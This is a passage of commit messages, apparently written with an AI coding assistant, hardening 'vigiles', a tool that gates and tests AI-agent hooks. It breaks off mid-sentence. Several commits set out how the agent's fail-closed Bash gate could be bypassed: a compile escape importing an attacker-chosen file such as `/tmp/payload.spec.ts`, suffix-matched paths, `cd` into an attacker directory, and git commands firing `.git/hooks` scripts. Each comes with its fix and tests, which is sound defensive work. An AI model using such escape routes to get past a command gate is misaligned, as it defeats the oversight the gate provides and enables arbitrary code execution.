2. test-coverage-files — the browser twin hard-coded the name `"SKILL"`
A single-skill repo declaring `name: foo` was covered by `foo.harness.mjs`
on disk and untested in the file-map engine. Third divergence in this PR, so
the parser moved to the shared `coverage-evidence.ts` and both twins call it.
The parity gate missed it because no vendored fixture has a root SKILL.md —
the branch was executed by NEITHER engine. Closed with three built fixtures
(declared name, misnamed harness, no declaration) plus a correctness
assertion, since parity is agreement and not correctness.
3. foreign-runner-tests — `scriptModel` was intent, not property
Justified as "exists only to be handed to one of them" inside a list whose
warrant is that the CALL spawns an agent. Both implementations are pure (a
copied array; a closure). A surface-local test that only builds a scripted
model was told to rename itself out of its runner. No recall lost: a file
that scripts a model and runs it names the runner.
4. coverage-probe — one option table cannot hold two grammars
Measured: `python3 -I x.py` runs (consumes nothing), `ruby -I dir` consumes.
With `-I` shared, python's hook path was eaten and a passing run earned no
coverage. Tables are now per interpreter family, which also resolves `-E`
(python/ruby/perl disagree three ways) and `-p` instead of documenting it.
5. scan / plugin-loader — the symlink policy skipped every walk's entry point
Roots went straight to `readdirSync`, so `skills -> ..` re-entered the whole
checkout and both walks' containment promise held everywhere except the top.
A root gets a DIFFERENT rule from an inner entry, deliberately: a shared
skills dir linked in from outside is an ordinary layout, and refusing it
would silently report zero skills. So a root symlink is followed unless its
target CONTAINS the scanned root; everything below still goes through
`entryOf`, so exactly one hop is taken and cycles remain impossible by
construction. Applied at all four entry points.
Gates: build, api:check, prettier clean; lint 0 errors / 201 warnings (two
BELOW the 203 baseline — the plugin-loader refactor removed two); vitest
2759 passed with only the known environmental `harness-test` failure; coverage
100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: four review findings — one false grant, one table gap, two stale claims
Round ten. Smallest change per finding, no new case analysis: the two
regressions of the last rounds both came from a new table missing an entry, so
the one table touched here is completed from the vendor's own `--help` and the
one place that wanted a per-harness branch deliberately did not get one.
1. run-script — the coverage probe ran BEFORE the spawn (P1, false grant)
`runEgress` throws when the allowlist sandbox is missing, and
`runConfinedOrDirect` throws when confinement was required and bwrap is
absent. Both throw before any spawner. A harness asserting exactly that
refusal — `assert.throws(() => runHook(untrusted…))`, a documented test —
caught the error, exited 0 with a check recorded, and the runner wrote
execution coverage for a hook that never ran. The probe now follows the
spawner's return. LAUNCHED, not succeeded: exits 1 and 2 still attribute, and
the test loops over 0/1/2 so nobody tightens it to a zero exit. `recordCheck`
deliberately stays before — a refusal IS a check, and demoting it to
`vacuous` would retract that script's other records.
2. coverage-probe — bash `-O` ate the hook path
`bash -O extglob hooks/pre-edit.sh` selected `extglob`, which fails
SCRIPT_RE, so a hook that ran was attributed to nothing. How the shell entry
was decided complete is now in the comment: `bash --help` (5.2.21) prints the
whole invocation grammar, and its only value-takers are `-c`, `-O`/`+O`,
`-o`/`+o`, `--rcfile`/`--init-file`. The same enumeration surfaced five
parse-only flags (`-n -D --dump-strings --dump-po-strings --pretty-print`,
each verified against the real binary to print nothing) whose absence was a
false GRANT — the expensive direction — so they join `withoutScript` beside
node's `--check`. The whole-word limit (`bash -en x.sh`) is asserted rather
than described; it is pre-existing.
3. test-coverage — the firing nudge named an unrunnable remedy
Real, but NOT for the reason given: the cited `docs/harnesses.md` line is
itself stale (see 4). `codexEvalDriver` IS exported and in the API surface,
so the tier is reachable. The actual defect is worse than "cannot run":
`measureTriggerRate(spec)` falls back to the DEFAULT driver, so on a Codex
repo the old wording did not fail — it measured a different harness and
reported a number. The message now names `{ evalDriver }`. Deliberately not a
capability flag: that is the table-that-misses-an-entry shape this round
warned about, and the sentence is true for every harness, so there is no case
analysis and no fourth adapter to remember.
4. docs — `*.test.*` was still documented as feeding Tested (merge-blocking)
Swept every public surface, not just the file named: docs/cli.md (which
contradicted itself — line 89 already said `never *.test.*`),
docs/non-js-harnesses.md, and the metric's own comments in audit-score.ts,
scan.ts, test-coverage.ts and foreign-runner-tests.ts. Added an explicit
MIGRATION section to docs/rules/untested-skill.md: the rename spelled out
(`foo.test.mjs` -> `foo.harness.mjs`), and why a rename rather than pointing
`testGlobs` back — a third-party runner's defaults collect `*.test.*` and a
harness test spawns an agent, so restoring the number would keep the file
being collected and possibly spending model budget. Also corrected the stale
Codex line in docs/harnesses.md: trigger-rate IS public (experimental),
`runEval` genuinely is not (`runEvalWith` is unexported).
New `src/tested-metric-docs.test.ts` closes the class: a doc defect is not a
code defect and nothing could catch it. It asserts the behaviour against the
real detector (including that the prescribed rename works) AND greps the
corpus for the retired claim shape, quiet on all of it today and firing on
the verbatim pre-fix sentence.
Gates: build, api:check, prettier clean; lint 0 errors / 201 warnings (baseline);
vitest 2765 passed with only the known environmental harness-test failure;
coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): the recovery escape's OPERAND was the payload
Round 3 on the same door, and this time the shape was not the problem — the
door's contract was. The executable check from last round is correct; the
ARGUMENT was unconstrained. `vigiles compile /tmp/payload.spec.ts` reached
`compile`, which hands the operand to `loadSpec`, which `await import()`s the
dist candidate and, failing that, shells out to
`npx tsx -e 'import("<operand>")'` (verified by reading cli.ts, not assumed).
Arbitrary top-level code, executed by the fail-closed gate's own escape while
the gate is refusing everything else.
The design question, answered before the code (and written into the comment):
- The minimum repair is NOT always bare. Bare `vigiles compile` compiles what
the repo declares (`findSpecs()` + `discoverHookFiles(cwd)`), which is enough
for hooks under `.vigiles/hooks/` — but the product's own refusal messages
print `vigiles compile <file>`, and for a stale stamp on a hook outside that
dir the operand form is the only thing that repairs it. Forbidding all
operands would have rejected the command the tool just told the user to run,
which is how a gate gets disabled outright.
- So the escape takes zero or one operand, and the one must EQUAL the file the
runtime was invoked with (`hook-runtime run-program <file>`) — repo-owned
config from the compiled hooks block, never event data. The event can only
echo the one path the repo already named.
- "Inside the repo" was rejected explicitly as unsound: a checkout holds
attacker-writable paths in plenty of workflows, and `loadSpec` imports
whatever it is pointed at.
🔴 `samePathRef` is deliberately NOT reused. It matches by SUFFIX — correct for
the Edit escape, catastrophic here: `/tmp/evil/.claude/hooks/guard.hook.ts`
suffix-matches the reported hook and would have been imported. Grabbing the
nearby helper is how this door was widened before, so the operand gets its own
exact comparator. (The Edit escape's own use of `samePathRef` is left alone —
it writes a file rather than executing one, and the looseness is load-bearing
for absolute-vs-relative `file_path`. Noted, not changed.)
`isRecoveryEvent` gains an optional `hookFile`; absent, NO operand is accepted,
so a caller that cannot say which file is being repaired fails closed. `cli.ts`
threads the file it already has.
The recovery path is stated in the comment so nobody rediscovers it by trial
and error: copy the command the refusal prints · bare compile for
`.vigiles/hooks/` · `git merge --abort` for a broken load path · and Edit/Write
never go through the Bash gate at all.
Tests, both halves, in the unit tier AND against the real runtime
(`hook-load-wedge.test.ts`, where the previous two rounds were verified):
the reported payload shape is denied, so are the in-repo path, the suffix trap,
a smuggled second operand and a flag; every genuine recovery command still
passes. Pre-existing tests that used an operand were rewritten — several would
have kept passing for the wrong reason.
Four mutations, each failing on its own assertion: pre-fix (any argument) fails
the payload test in both tiers; too-strict (no operand ever) fails "or the repo
has no way out"; reusing `samePathRef` fails on the suffix trap.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201
warnings (baseline); vitest 2768 passed with only the known environmental
harness-test failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): delete the executing escape instead of constraining it again
Round 5 on the same door. P1a (`/tmp/vigiles compile`) and P1b (`cd /tmp/evil &&
vigiles compile`) are both real — and I did NOT fix them as stated, because the
pattern says the constraint approach is wrong: `.some()` over leaves → the
operand → the executable path → the working directory, four correct fixes each
followed by another. The escape was trying to recognise a trusted ACTION from an
untrusted STRING, and a string's degrees of freedom (argv, cwd, PATH,
node_modules resolution, config discovery, shell state) are unbounded.
Two measurements settled it, both now asserted as tests rather than remembered:
1. STALE-STAMP WEDGE — writing `{}` into `.vigiles/hooks/<name>.json` (or
deleting it) makes the runtime load the hook again, and it comes back
ENFORCING (`ls` passes, `git push --force` still denied with the hook's own
reason). The repo is unwedged by a FILE WRITE, and file tools were never
gated by a Bash gate. So the compile command was never needed here.
2. LOAD WEDGE — with `package.json` holding conflict markers,
`vigiles compile <hook>` exits 1: `Cannot load hook …: Invalid package
config`. It loads the hook through the same resolver that just failed, so
it could never repair the state the escape admitted it FOR.
The command bought nothing and cost four vulnerabilities, so the primitive is
gone rather than constrained a fifth time. Deleted, not left dormant:
`isCompileLeaf`, `sameOperandPath`, `vigilesExecIndex`, `RUNNER_PREFIXES`,
`RUNNER_VALUELESS_FLAGS`, `isVigilesToken`, and the `cd` "neutral leaf" category
— 222 lines out, 100 in, and `grep` finds zero references to any of them.
What is left cannot execute repo code:
- `isStampRepairEvent` is now purely a FILE WRITE — the hook's own source, or
its stamp sidecar. Both repo-owned paths derived from the file the runtime
was invoked with, never from the event. (`samePathRef`'s suffix tolerance is
correct for a write and was wrong for an exec; with the exec gone, so is the
reason to be exact.)
- `isRecoveryEvent` is git-only: `merge --abort`, `rebase --abort`,
`checkout -- <path>`. Each moves the tree back to something git already
holds. This family has produced zero findings in five rounds.
- `cd` is no longer neutral. It was whitelisted as "produces no effect of its
own", which is backwards: the cwd decides which node_modules, config and
files a command resolves. P1b dies by construction, not by analysis.
Recovery stays possible and is now discoverable — the stale-stamp refusal prints
the exact sidecar path and says plainly that the way out is a write, not a
command; the load refusal says `vigiles compile` is not allowed AND would not
help, with the reason. Public docs (docs/compiled-hooks.md) rewritten to match,
including why the command was removed.
P2 (`bun run hooks/x.ts` attributed nothing) fixed as stated: bun and deno put a
verb before the file while sharing node's OPTION grammar. Every head in
INTERPRETER_FAMILY was checked for a subcommand form — the shells, python, ruby,
perl, tsx and ts-node have none, and node's `--run` is a flag over package.json
scripts — so the list is exactly {bun, deno}. Only `run` is modelled; the other
verbs (`deno check`/`cache` read without executing) stay unmodelled, where a miss
costs silence rather than a false grant.
Mutations, each failing on its own assertion in both the unit and real-runtime
tiers: restoring a compile leaf + `cd` neutrality; dropping the sidecar write
escape (recovery becomes impossible); reverting the refusal message; emptying
RUN_SUBCOMMAND_HEADS; dropping its head restriction.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2766 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage-probe): invert the direction — attribute what is recognised, not what is left
Both P2s are real and both are FALSE GRANTS. Fixed, but the round was spent on
the question behind them, because this file has produced findings in five rounds
and every one had the same shape.
## Can the executor report what it executed? Measured, not assumed.
NO for the subprocess tier, and structurally so. `runHook`/`runScript` take a
COMMAND STRING and hand it to `spawnSync(cmd, { shell: true })` — vigiles never
resolves a path, `sh -c` does, so there is nothing to report back. The corpus
confirms there is often no path to report at all: this repo's own examples pass
inline program TEXT (`CMD=$(cat | jq -r …); case …`, `node -e '<source>'`) in
which no file is named by anyone. That contract is the feature — it is how you
test a hook you did not write, verbatim as its plugin ships it.
YES for the in-process tier, which is a real gap I am reporting rather than
fixing here: `loadHook(file)` resolves the path itself, and `harness-assert.ts`
and `load-hook.ts` contain ZERO `recordSurfaceProbe` calls. The one tier where
attribution needs no parsing is the tier that attributes nothing. It would ADD a
source of truth, not retire this one, so it deserves its own round.
## So parsing stays, and the DIRECTION changes.
The scan was a deny-list — skip what we recognise, attribute what is left — so
every gap in every table became a false grant. Where the grammar cannot be
closed, it is now inverted: attribute only what is positively recognised.
(a) BUNDLED CLUSTERS. `bash -en hooks/pre.sh` / `bash -nc hooks/pre.sh` carry
bash's `n` ("Read commands but do not execute them"), but neither is a whole
word in any table, so the generic `-` skip walked past it and the path became
the entry. A cluster is now attributed only when EVERY letter is accounted
for, from the complete `bash --help` letter set; an unknown letter abstains,
because it might be another `n`. Only shells are modelled — bash publishes
its invocation letters, the others do not, and inventing one from memory is
what keeps biting. A bundle under any other family abstains
(`python3 -EsI x.py` now attributes nothing; the unbundled spelling still
works). This also FIXES the silence half: `bash -euo pipefail hooks/x.sh` —
the commonest launch shape there is — attributed nothing before and now
resolves correctly.
(b) `run-program` was a free-floating keyword searched across the whole argv, so
`echo run-program hooks/pre.sh` recorded coverage for a hook `echo` merely
printed. It is now a command SHAPE: `hook-runtime` immediately followed by
`run-program`, owned by the token before it being `vigiles` itself or the
entry script the line already resolved. Every form the installer and our own
harnesses emit still works; the words in someone else's mouth do not.
## Calibration point, recorded because it was mine
Last round I found the whole-word limit myself, measured only its silence
direction (`bash -euo pipefail`), and filed it as harmless and pre-existing. It
also had a false-grant direction, which is the expensive one, and the bot found
it. "This limit costs silence" needs checking in BOTH directions before it is
filed as harmless. The two assertions that encoded that wrong conclusion are
deleted rather than adjusted — both cases are now correct.
Mutations, each failing on its own assertion: revert the cluster handling to the
generic skip; treat an unknown letter as safe (the deny-list direction); revert
`run-program` to a free-floating scan.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline — one added by the fix, then removed by flattening the dispatch);
vitest 2768 passed with only the known environmental harness-test failure;
coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: three false-grant/false-positive findings, each verified by RUNNING it
All three are the same failure direction — a lexical shape taken for the
property it resembles — and all three outputs below were produced by executing
the built module, not reasoned about.
1. `foreign-runner-tests.ts` — a bodiless TYPE MEMBER was reported as a CALL.
`returnTypeThenBody` stopped at the `;` and "no body" was read as proof of a
call, so a pure type-level test was told to rename itself out of its own
vitest run. Measured before the fix — and it was TWO shapes, not one:
agentDrivingApi("interface Runner { runEval(o: Opts): void; }") → "runEval"
agentDrivingApi("type R = { measureTriggerRate(o: O): Promise<number>; };")
→ "measureTriggerRate"
`):` now abstains outright: of the three shapes a `)` followed by `:` can be,
two are definitions and only a ternary is a call. `returnTypeThenBody` and
ANNOTATION_WINDOW became unreachable and are deleted.
🔴 I had listed this exact case in a round-6 report as a deliberate miss
"toward silence". It was never silent; it fired. That is the second round
running where a safety claim of mine was plausible, load-bearing, written
down and never executed. Every such claim in this file is now an assertion
with the measured output beside it, not prose.
2. `bash-effects.ts` `leafArgvSource` — a SYNTACTIC leaf is not an executed
command. It walked every CallExpr, so `false && bash hooks/pre.sh` and
`true || bash hooks/pre.sh` credited a hook the shell never runs, and the
probe is persisted for a passing script. The tree is now DESCENDED, only
through positions whose children always execute: statement lists, both sides
of a PIPELINE, subshells, blocks, and the LEFT of `&&`/`||`. Everything else
— if / while / for / case / function bodies — is not entered, which closes
the whole family rather than the two reported instances.
⚠️ MEASURED COST, stated: `cd /repo && bash hooks/x.sh` now attributes
nothing. `runHook(cmd, event, { cwd })` is the replacement and is what this
repo's own examples already use. The old expectation is updated in place with
that note rather than deleted.
3. `foreign-runner-tests.ts` — the `.eval.` INFIX over-fired. `parser.eval.test.ts`
was declared to burn model budget while not matching
`**/*.eval.{ts,mts,cts,js,mjs,cjs}`, the glob that decides what `vigiles eval`
runs. Now the same suffix as discovery. The infix was right where it came from
(`partitionTests` splits already-discovered files); copying it here carried it
past its premise. Consequence worth recording: `eval-name` evidence is now
reachable only through jest's `__tests__/` rule, because a name eval discovery
accepts is never a name a suffix-based runner collects — pinned by test.
## Structural verdict (asked for instead of a fourth patch)
The evidence scheme IS deny-list shaped, and the class is still live. Measured
after the fix — five more shapes fire, all bodiless members with no return type:
interface R { runEval(o); } → "runEval"
type R = { runEval(o); }; → "runEval"
class C { runEval(o: A); runEval(o: B) {} } → "runEval"
declare module "x" { interface I { runEval(o); } } → "runEval"
type R = { runEval(o), other: 1 }; → "runEval"
No rule over the token after the parameter list can separate these: `runEval({});`
is `)` followed by `;` too. The discriminator is whether the match sits in a type
body. Two inversions were considered and both measured:
1. a TS-aware parse — correct, forbidden by the byte-parity constraint;
2. require a RUNTIME import from a vigiles specifier — separates every false
positive AND every true positive tried, then MISSES this repo's own
agent-driving examples, which import `"../../dist/harness-assert.js"` (4 of
4 checked scored zero). Trades a bounded false-positive class for an
unbounded false-negative one.
So it is recorded in the module with the inputs and outputs, and NOT patched
case-by-case — that is what produced this series.
Mutations, each failing on its own assertion: restore the returnTypeThenBody
negation; restore the eval infix; descend the RHS of `&&`/`||`; abstain on
pipelines too (the over-correction).
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2771 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(foreign-runner): blank TYPE BODIES as a region — the class closes, parity intact
Your third option works. No parity change, no dependency, no seventh special
case: `stripNonCode` gains one more region kind, run as a second pass so brace
counting happens after quotes and comments are already gone.
## 1. Does it kill the five shapes? Yes — and a sixth I found while testing.
interface R { runEval(o); } → undefined (was "runEval")
type R = { runEval(o); }; → undefined (was "runEval")
type R = { runEval(o), other: 1 }; → undefined (was "runEval")
declare module "x" { interface I { runEval(o); } } → undefined (was "runEval")
interface X<T extends { a: 1 }> { runEval(o); } → undefined (found in test)
`declare` is NOT a keyword this scans for, deliberately: the ambient cases close
through the `interface` inside them (measured), while `declare const x: T` with
no semicolon would send the body search into the next function.
## 2. Does it keep every true positive? Yes — 22 shapes, zero lost.
Including the two you named, which a naive brace-blanker eats:
const s = `${runEval(x)}`; → runEval
const s = `a${`b${runEval(x)}`}c`; → runEval
class F { run() { return runEval({}); } } → runEval
const o = { run: () => runEval({}) }; → runEval
And the overshoot direction, which is where I expected to fail: without a bound,
a semicolon-less `type A = string` runs on into the next function's brace and
eats a real call. The bound is "anything may sit on the keyword's own line; once
a newline is crossed the next significant character must BE the `{`". With it:
type A = string\nfunction f() { runEval({}); } → runEval
declare const x: T\nfunction f() { runEval({}); } → runEval
const type = { run: () => runEval({}) }; → runEval
obj.interface = { run: () => runEval({}) }; → runEval
interface R { a: 1\nawait runEval({}); → runEval (truncated source)
`type` is not a reserved word, so it also needs to be followed by an identifier;
`obj.interface` needs the `.` lookbehind. Both are pinned by mutation — the first
version of these tests did NOT catch either guard, and I added the cases that do.
## 3. What it still misses, run rather than asserted
agentDrivingApi("class C { runEval(o: A); runEval(o: B) { return 1; } }")
→ "runEval"
A class body is the one region that cannot be blanked: it holds real method
bodies, and a call inside one is a true positive above. Telling an overload
signature from an expression statement needs to know the enclosing brace is a
class body — the context this lexical layer does not carry. Documented with the
reproducing input, and it is the only one left.
Mutations, each failing on its own assertion: no type-blanking; no newline bound;
no type-identifier guard; blank class bodies too; no dot lookbehind.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(the blanker first added 4 — complexity and nesting — then flattened into
`namesAType` / `matchingBrace` / `blankBodies` to return to baseline); vitest
2771 passed with only the known environmental harness-test failure; coverage 100%
statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: guard EVERY real-model spawn, and make a future adapter unable to skip it
The refusal exists so a stray `npx vitest run` cannot spend model budget. It
guarded the default Claude runner and nothing else — and `measureTriggerRate(
spec, { evalDriver: codexEvalDriver })`, the publicly documented alternative,
calls the injected driver's runner DIRECTLY into `spawnSync("codex", …)`.
Measured before choosing a remedy: the guard covered ONE of FOUR money doors.
src/eval.ts spawn(claudeCodeRuntime.agentBinary) guarded
src/adapters/codex/eval.ts spawnSync("codex", …) UNGUARDED
src/judge.ts spawnSync("claude", …) UNGUARDED
src/scan-behavioral.ts spawnSync("claude", …) UNGUARDED
`judge` and `deriveAttackReal` are reached from inside a user's `measure`
callback, so "before dispatching any driver" would not have covered them either
— neither passes the eval composition root at all. That rules out the first
remedy the bot named, on evidence rather than taste.
The irony, recorded in the code: last round's nudge fix now tells Codex users to
pass `{ evalDriver }` — the product actively recommends the shape that bypassed
the guard.
## How a future adapter is prevented from forgetting
Not by a list. `src/model-spawn-guard.test.ts` scans the source and fails on any
spawn whose program mentions `agentBinary` — the field every `HarnessRuntime`
declares for its binary — unless the enclosing function calls the guard or
carries a `vigiles:free-tier` marker with a reason. A new adapter spawning
`fooRuntime.agentBinary` is caught the day it is written, without the check
knowing `foo` exists. Verified by building a throwaway `src/adapters/newharness/`
that forgot the guard: the check failed on it, passed once guarded, then removed.
Three free-tier spawns are marked with why they cost nothing: two `--version`
probes, and the deterministic harness tier, whose `runtime.wireMock` points the
binary at the LOCAL scripted mock.
Two bugs in the check itself, both found by running it:
- the first pattern was same-line only, so it found four sites and MISSED
exactly the three multi-line ones the finding was about — a check that cannot
see the bug it was written for. Hence the `>= 7` count assertion.
- blanking comments to `""` preserved line numbers but shifted character
OFFSETS, so the guard lookup read the wrong place and reported all seven
unguarded. Comments are now blanked to spaces of equal length.
## Placement
`refuseUnderForeignRunner` moved to `core/foreign-runner.ts`, which imports
NOTHING, so any adapter can call it without a cycle. `foreignRunner` stays pure;
this is the one impure wrapper.
⚠️ It must sit OUTSIDE the swallowing `try` in `judge` and `deriveAttackReal` —
both do `try { spawn } catch { return fallback }`, so a refusal thrown inside
becomes a silent `score: 0` instead of a stop. Pinned by mutation.
## Tests, through a REAL foreign runner
`src/eval-injected-driver-guard.test.ts` drives an actual `node --test` child,
because this suite runs under vitest and a test asserting "vitest is refused"
agrees with whatever the guard already believes. FIRES: the Codex driver's runner
and `judge` both refuse. QUIET: outside a foreign runner the same calls get PAST
the guard (and fail on the missing binary), so a fix that always threw would fail
here. The child runs with an EMPTY `PATH`, so a regression fails the test instead
of billing for it.
Mutations, each caught: remove the Codex guard; remove the judge guard; move the
judge guard inside its swallowing `try`.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2777 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.16%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the in-process tier attributes what it EVALUATES
The gap I named two rounds ago and deferred; the reviewer found it independently.
`loadHook(file)` + `assertHookDenies(hook, event)` — the documented cheapest path
— recorded a check and no SURFACE, so the child exited a non-vacuous pass with an
empty `surfaces` list, `runsFromResults` discarded it, and a harness that really
did execute a compiled hook produced NO execution record. The hook then showed as
untested unless filename colocation happened to cover it.
🔴 A FALSE NEGATIVE, so the risk while fixing runs opposite to every other
coverage finding here. Those were false GRANTS and the cure was "abstain when
unsure"; this one is real execution going unrecorded, and the danger is recording
too eagerly. The line is EVALUATION, and it is pinned in both directions.
Where the probe is, and the three places it is not:
- `loadHook` only REMEMBERS the path (a WeakMap in core/hook-program.ts — the
object is the user's, so no field is stamped on it). Loading a hook to
inspect its shape has not run it; crediting that would be the empty-file-
counts substitution the execution tier exists to remove.
- `runHookProgram` — the PURE evaluator, and what the CLI's `hook-runtime
run-program` calls on every live event in production. Recording there would
make the pure decision impure and fire outside any test.
- `runCountedHookProgram` — the one place holding BOTH facts (this hook is
about to be evaluated; it came from a file). All four public in-process
assertions funnel through it, so none can be added without inheriting the
attribution.
This is the one attribution in the codebase that needs no parsing: the path is
the argument `loadHook` resolved. The comment says so explicitly — the parsed
source (`commandRefs`) is best-effort over an unbounded grammar and has been
wrong in five rounds; this one is exact by construction. Same record SHAPE, not
the same trustworthiness.
⚠️ What it deliberately does not attribute, run rather than asserted:
defineHook({…}) then assertHookDenies(h, e) → surfacesRecorded() === []
runHookProgram(loadedHook, e) → surfacesRecorded() === []
Both cost a missed record, never a false one.
## Does it move this repo's numbers? No — and here is why, measured.
before: untested 23, executed 0, colocated 0
after: untested 23, executed 0, colocated 0
Not because nothing changed: this repo's canonical
`examples/harness/compiled-hook-inprocess.harness.mjs` now emits two probes where
it emitted zero —
{ how: "command", ref: "examples/harness/protect-main.hook.mjs" }
{ how: "command", ref: "examples/harness/warn-on-failure.hook.mjs" }
— and both resolve to NOTHING, because those files are not wired into
`.claude/settings.json` and so are not declared surfaces of this repo. An
unresolvable ref is dropped, never guessed into a match, so no artifact is
written and the counts hold. That is the tier's first rule working, not a
failure.
Tests, both halves, unit AND end-to-end through the real CLI: a harness that
evaluates a wired compiled hook records it; one that only loads it records
nothing (while something else runs, so the silence is about the LOAD and not
about a vacuous script).
Mutations, each failing on its own assertion: never record the probe → "an
in-process evaluation is an execution and must be recorded"; record at LOAD time
instead → "a LOAD must attribute nothing".
Gates: build, api:check (no drift — the two new helpers are internal to
core/hook-program.ts and `hook.ts` re-exports by name), prettier clean; lint 0
errors / 201 warnings (baseline); vitest 2782 passed with only the known
environmental harness-test failure; coverage 100% statements/functions/lines,
branches 94.17%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): delete the git escape — all three ran `.git/hooks/*`
The surface I flagged last round as never independently audited. My own claim
was the load-bearing one and it was false: "these commands move the tree to
states git already holds; none executes a line of repo code."
MEASURED, git 2.43.0, hooks installed in `.git/hooks/`:
git checkout -- f.txt → post-checkout (<sha> <sha> 0)
git merge --abort → reference-transaction (prepared, committed)
git rebase --abort → reference-transaction (×4) + post-checkout
`reference-transaction` fires on ANY ref update, and every one of these updates a
ref — so the whole whitelist was an arbitrary-execution path standing open
precisely while the gate enforced nothing, writable by exactly the actor the door
assumes. Same shape as the compile escape one layer down: a command believed
inert because of what it MEANS rather than what it DOES.
(My first neutralisation measurement was contaminated — the log captured the
SETUP command's hooks, not the guarded one. Re-run with the log cleared
immediately before each guarded command; the corrected numbers are above.)
## The two remedies, both measured
1. `git -c core.hooksPath=/nonexistent …` DOES suppress all three (no hook ran
for any of them). Rejected anyway: it puts free-form structure back into the
accepted string — the exact thing five findings on the compile door came from
— and it buys nothing, because of (2).
2. A FILE WRITE already un-wedges the repo. Measured on the load-wedge fixture:
wedged : `ls` refused
after Edit : `ls` allowed, `git push --force` DENIED ("no force-push")
You do not need to finish recovering, only to stop being wedged. Once the hook
loads the gate decides normally, and `git merge --abort` is an ordinary
allowed command — through the gate rather than around it.
So the git escape goes the way of the compile escape. `isRecoveryEvent`,
`isGitRecoveryLeaf` and `allLeavesAre` are deleted; NO command is an escape now.
## What replaces it
`isLoadPathRepairEvent` — a write to the hook's own source, its stamp sidecar, or
one of `HARNESS_CONFIG_FILES` (`package.json`, `.vigilesrc.json`). That set is
COMPLETE for a compiled hook rather than a guess: `checkHookImports` rejects every
import but `vigiles/hook`, so the load path is the hook file plus the config that
resolves that specifier — nothing else can break it. A write executes nothing,
which is the property no command on this door ever had.
The refusal now names the files to fix, says a write is the way out, and says why
no command is allowed (`.git/hooks` for git, the failed resolver for compile).
`docs/compiled-hooks.md` rewritten to match.
## Tests
Both halves, with a REAL installed git hook rather than the git docs: a new test
builds a repo, installs `post-checkout`/`reference-transaction`, and watches them
fire — so the premise is checked, not remembered. Through the real runtime: every
command refused (including the `core.hooksPath` spelling), the load-path write
allowed, and the write shown to restore ENFORCEMENT.
Mutations, each on its own assertion: restore the git escape → the refusal tests
fail; drop the config-file half → the wedge has no way out.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2782 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.17%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-repair): bind repair writes to THIS repo; stop crediting a shell that never launched
Two findings, the same shape one layer apart: a property asserted about the
ACTION while the SCOPE of that action went unchecked.
## 1 (P1) — a repair write was accepted in any checkout on the disk
`samePathRef` matched by SUFFIX, so `/home/another-project/package.json` counted
as a repair of this repo's `package.json`. My defence last round — a write
executes nothing — was true and answered a different objection. It does not
license writing into a checkout the wedged session has nothing to do with, and
that file cannot repair the failure anyway.
Both sides are now RESOLVED against a root and compared whole (`resolveRef`,
still no `node:path` in core). The tolerance the suffix match was reached for
survives untouched: the harness sends an absolute `file_path` while settings
carry a relative one, and resolution is the correct way to match those.
The identical hole existed on the STAMP door (`isStampRepairEvent`) and is
closed with it — unreported, same helper.
### The hook's own path does NOT give a reliable root, so the caller passes it
Asked, and the answer is no. A hook sits at `.claude/hooks/`, `.vigiles/hooks/`,
a plugin subdirectory or the repo root; there is no fixed depth to walk up, and
a `.git` probe would be a disk read core does not do. Nor would a git-derived
root be RIGHT: `verifyStampOrRefuse` reads the hook and its stamp sidecar
through `process.cwd()`, so any other root would accept writes to files the
runtime never reads — repairs that do not repair. The root is `process.cwd()`,
supplied by cli.ts, and the accepted files are the ones the runtime itself
derived (`hookLoadPathFiles`). Required parameters, so the loose form is
inexpressible.
### …and the obvious narrowing would have RE-WEDGED the repo
"Refuse anything outside cwd" is wrong. MEASURED against this runtime, hook at
`gp/p/repo/.claude/hooks/`, conflict markers planted at one ancestor:
repo pkg PRESENT, parent conflicted → loads fine
repo pkg absent , parent conflicted → WEDGES, cause `../package.json`
repo pkg absent , parent absent, gp broken → WEDGES, cause `../../package.json`
repo pkg PRESENT, parent absent, gp broken → loads fine
repo pkg absent , parent HEALTHY, gp broken → loads fine
Node walks up and stops at the first `package.json` that EXISTS. An ancestor
